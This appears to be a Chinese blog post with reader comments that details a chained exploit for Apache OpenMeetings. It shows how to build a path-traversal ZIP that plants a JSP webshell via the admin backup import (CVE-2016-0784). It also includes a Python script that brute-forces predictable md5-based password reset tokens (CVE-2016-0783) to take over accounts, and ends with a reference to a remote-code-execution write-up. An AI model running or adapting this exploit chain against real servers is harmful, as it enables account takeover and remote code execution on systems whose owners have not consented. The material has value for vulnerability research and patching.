Apache OpenMeetings 会议系统getshell初探
Apache OpenMeetings 算是比较冷门的系统,国内比较少见,要么都在内网吧。
根据已经发布的漏洞:
Apache OpenMeetings ZIP文件路径遍历(穿越)漏洞(CVE-2016-0784)
Apache OpenMeeting可预测密码重置令牌漏洞(CVE-2016-0783)
存在理论上getshell的可行性;
1. 本地搭建openmeetings环境;
2. 验证ZIP文件路径穿越漏洞;
准备穿越用的zip;
将jsp脚本改名为aaaaaaaaaaaaaaaaas2.jsp
然后zip,
用UE打开,查找aaa(ASCII)
替换aaa为../
我们这里替换为 ../../../../ 跳4次
文件头和尾都有;
保存zip
上传:
管理员登录,找到backup/import
导入zip
会报一个错,不用理会的;
查看文件:
看来4跳走远了,3跳就够了;
其实jsp脚本放在openmeetings的根目录是不能运行的;但是我们放在css这样的目录就可以了;
效果如下:
:5080/openmeetings/css/aaaas2.jsp
如何获得shell就这样了;
Apache OpenMeeting可预测密码重置令牌漏洞
根据描述,查看源码,大概了解是这样的
private void sendHashByUser(User us, String appLink, UserDao userDao) throws Exception {
String loginData = us.getLogin() + new Date();
log.debug("User: " + us.getLogin());
us.setResethash(ManageCryptStyle.getInstanceOfCrypt().createPassPhrase(loginData));
userDao.update(us, -1L);
String reset_link = appLink + "?hash=" + us.getResethash();
String email = us.getAdresses().getEmail();
String template = ResetPasswordTemplate.getEmail(reset_link);
getBean(MailHandler.class).send(email, Application.getString(517), template);
}
hash=md5(user+java:Date())
Java的Date()格式输出是这样的
Thu Apr 28 10:52:24 CST 2016
操作如下:
这里有一个坑,忘记密码,我们看到的样子是这样的;
结果我个人的本地环境,居然是这样的;
当时也没有点,死活没有找到忘记密码在哪里点,结果点开之后更坑
原因是我在安装的时候选择了“中文”,这特么也太远了,那个是用户啊!
重置操作:
中文的
猜解hash
#coding=utf-8
import time,sys
import requests,hashlib
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
if __name__=='__main__':
reset_time_format=time.strftime("%a %b %d %H:%M:%S",time.localtime())
print 'Date_Time_Format: '+reset_time_format+' CST 2016'
current_xtime=time.strftime("%a %b %d %H:",time.localtime())
opm_link=sys.argv[1]
opm_port=sys.argv[2]
opm_user=sys.argv[3]
opm_mins=sys.argv[4]
for i in range(0,60):
secs = ("%02d"%i)
date=current_xtime+str(opm_mins)+':'+str(secs)+' CST 2016'
#print date
hastr=opm_user+str(date)
rest_hash=md5(hastr)
url='http://'+opm_link+':'+opm_port+'/openmeetings/reset?hash='+rest_hash
reset_action=requests.get(url)
req_content=reset_action.text
if 'Password set' in req_content:
print 'User: '+opm_user+'\n'
print 'Password reset url is:\n'+url
估计不了前后几分钟,单独将分钟独立出来,效果:
重置操作
新密码登录,然后zip上传,穿越,得shell。
附注:
date()是带时区的,Thu Apr 28 10:52:24 CST 2016 什么CET CST等;
因此针对国外的用户,这个时间是不一样的,因此问题在利用上需要猜的数量多了很多;
后来上了google,inurl:5080/openmeetings
居然发现了这个:
All Your Meetings Are Belong to Us: Remote Code Execution in Apache OpenMeetings
http://haxx.ml/post/141655340521/all-your-meetings-are-belong-to-us-remote-code
早知道就不搞环境,直接翻译一下算了。
文章中也提到了openmeetings根目录是不能运行jspshell的,但是他采用了另外的方式
修改配置,利用第三方插件来执行程序反弹
最后那句话,本人不仅菜,而且脸皮还厚,请不吝指正。
冲着缩略图进来的。。
不错,谢谢分享。:P